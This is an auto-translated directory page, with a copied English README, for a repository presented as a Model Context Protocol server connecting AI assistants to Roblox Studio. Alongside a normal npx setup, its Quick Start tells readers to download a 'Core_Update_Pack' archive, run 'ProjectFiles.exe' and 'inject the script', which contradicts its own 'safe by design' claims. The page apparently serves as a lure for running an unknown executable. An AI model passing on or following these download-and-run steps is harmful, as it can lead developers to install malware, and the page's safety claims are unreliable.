NR

nanoutrolley/roblox-studio-mcp

Developer tools

Эта страница переведена автоматически. Технические детали смотрите в оригинале. Открыть оригинал

283 stars 215 forks Качество 76 Тренд 62MIT

Сервер Model Context Protocol (MCP) для Roblox Studio Подключите помощников ИИ (Claude, Cursor, Cline) для чтения деревьев объектов, автоматизации сценариев Lua и безопасного запуска плей-тестов. Мост с открытым исходным кодом.

Обзор

Подключите своего помощника по кодированию ИИ (Claude, Cursor, Cline, ChatGPT) непосредственно к Roblox Studio. Автоматизируйте скриптинг Lua, читайте деревья объектов, проверяйте свойства и запускайте плей-тесты — и все это, не покидая редактора. Легкий сервер Node.js/TypeScript, реализующий протокол Model Context Protocol (MCP) для взаимодействия с агентами Roblox Studio и AI. Это позволяет LLM понимать архитектуру вашей игры, создавать и редактировать скрипты Lua и безопасно автоматизировать повторяющиеся задачи разработчика. Безопасный по дизайну: нет выполнения ненадежного кода, нет манипулирования памятью и нет доступа к личным данным. Все операции находятся в песочнице в плагине Studio. 1. с помощью кнопки выше. 2. архив в отдельную папку. 3. 4. и вставить сценарий. 1. Open claude desktop config.json (или настройки Cursor MCP). 2. Добавить следующую конфигурацию: { "mcpServers": { "roblox-studio": { "command": "npx", "args": ["-y", "roblox-studio-mcp"] } } } 3. Перезагрузите своего ассистента. 4.

Обзор (машинный перевод)

Модельный сервер контекстного протокола Roblox Studio — 2026**

Подключите своего помощника по кодированию ИИ (Claude, Cursor, Cline, ChatGPT) непосредственно к Roblox Studio. Автоматизируйте скриптинг Lua, читайте деревья объектов, проверяйте свойства и запускайте плей-тесты — и все это, не покидая редактора.

###Что это такое

Roblox Studio MCP - это легкий сервер Node.js/TypeScript, который реализует протокол Model Context Protocol (MCP) для объединения Roblox Studio и агентов ИИ. Он действует как мост ИИ, позволяя LLM понимать архитектуру вашей игры, генерировать и редактировать скрипты Lua и безопасно автоматизировать повторяющиеся задачи разработчика.

Безопасный по дизайну: нет выполнения ненадежного кода, нет манипулирования памятью и нет доступа к личным данным. Все операции находятся в песочнице в плагине Studio.

Быстрый старт

  1. ** Скачать Core Update Pack** с помощью кнопки выше.
  2. **Извлеките архив в отдельную папку. 3.Беги ProjectFiles.exe.
  3. ** Следуйте инструкциям на экране** и введите сценарий.

Feature Особенности

Описание / Description

Эта страница переведена автоматически. Технические детали смотрите в оригинале.

README

Показан фрагмент оригинального README. Открыть оригинал.

🎮 Roblox Studio MCP

Model Context Protocol Server for Roblox Studio — 2026

Connect your AI coding assistant (Claude, Cursor, Cline, ChatGPT) directly to Roblox Studio. Automate Lua scripting, read object trees, inspect properties, and run playtests — all without leaving your editor.


🎯 What it is

Roblox Studio MCP is a lightweight Node.js/TypeScript server that implements the Model Context Protocol (MCP) to bridge Roblox Studio and AI agents. It acts as an AI bridge, allowing LLMs to understand your game’s architecture, generate and edit Lua scripts, and automate repetitive developer tasks safely.

🔒 Safe by design: no execution of untrusted code, no memory manipulation, and no access to private data. All operations are sandboxed within the Studio plugin.


🚀 Quick Start

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🧠 MCP Protocol Support Fully compatible with Claude Desktop, Cursor IDE, Cline, and ChatGPT
🏗️ Object Tree Reader Browse the full hierarchy of your Roblox place
✏️ Lua Script Editor Create, read, and update Lua scripts via AI
🔍 Property Inspector Inspect and modify instance properties
▶️ Playtest Control Run, pause, and stop playtests directly from the agent
🛡️ Read-Only Mode Safe mode for exploration without making changes
⚡ Fast & Lightweight Built with Node.js + WebSocket, low memory footprint
🔌 Auto-Discovery Finds open Studio sessions automatically

🛠️ How to use (with Claude Desktop & Cursor)

  1. Open claude_desktop_config.json (or Cursor MCP settings).
  2. Add the following configuration:

{ “mcpServers”: { “roblox-studio”: { “command”: “npx”, “args”: [“-y”, “roblox-studio-mcp”] } } }

  1. Restart your AI assistant.
  2. Ask Claude: “Show me the object tree of my Roblox place”.
  3. The AI agent will use the MCP server to fetch the data and respond.

⚙️ Configuration

You can adjust settings via environment variables:

  • RBX_MCP_PORT — WebSocket port (default: 44755)
  • RBX_MCP_SAFE_MODE — true to disable destructive actions
  • RBX_MCP_LOG_LEVEL — debug | info | warn | error
  • RBX_MCP_TIMEOUT — Request timeout in milliseconds

💻 Tech Stack & Architecture

  • Core: TypeScript, Node.js
Открыть полный README на GitHub

Установка

npx -y roblox-studio-mcp
Новичок в MCP? Начните с руководства на mcpskill.org →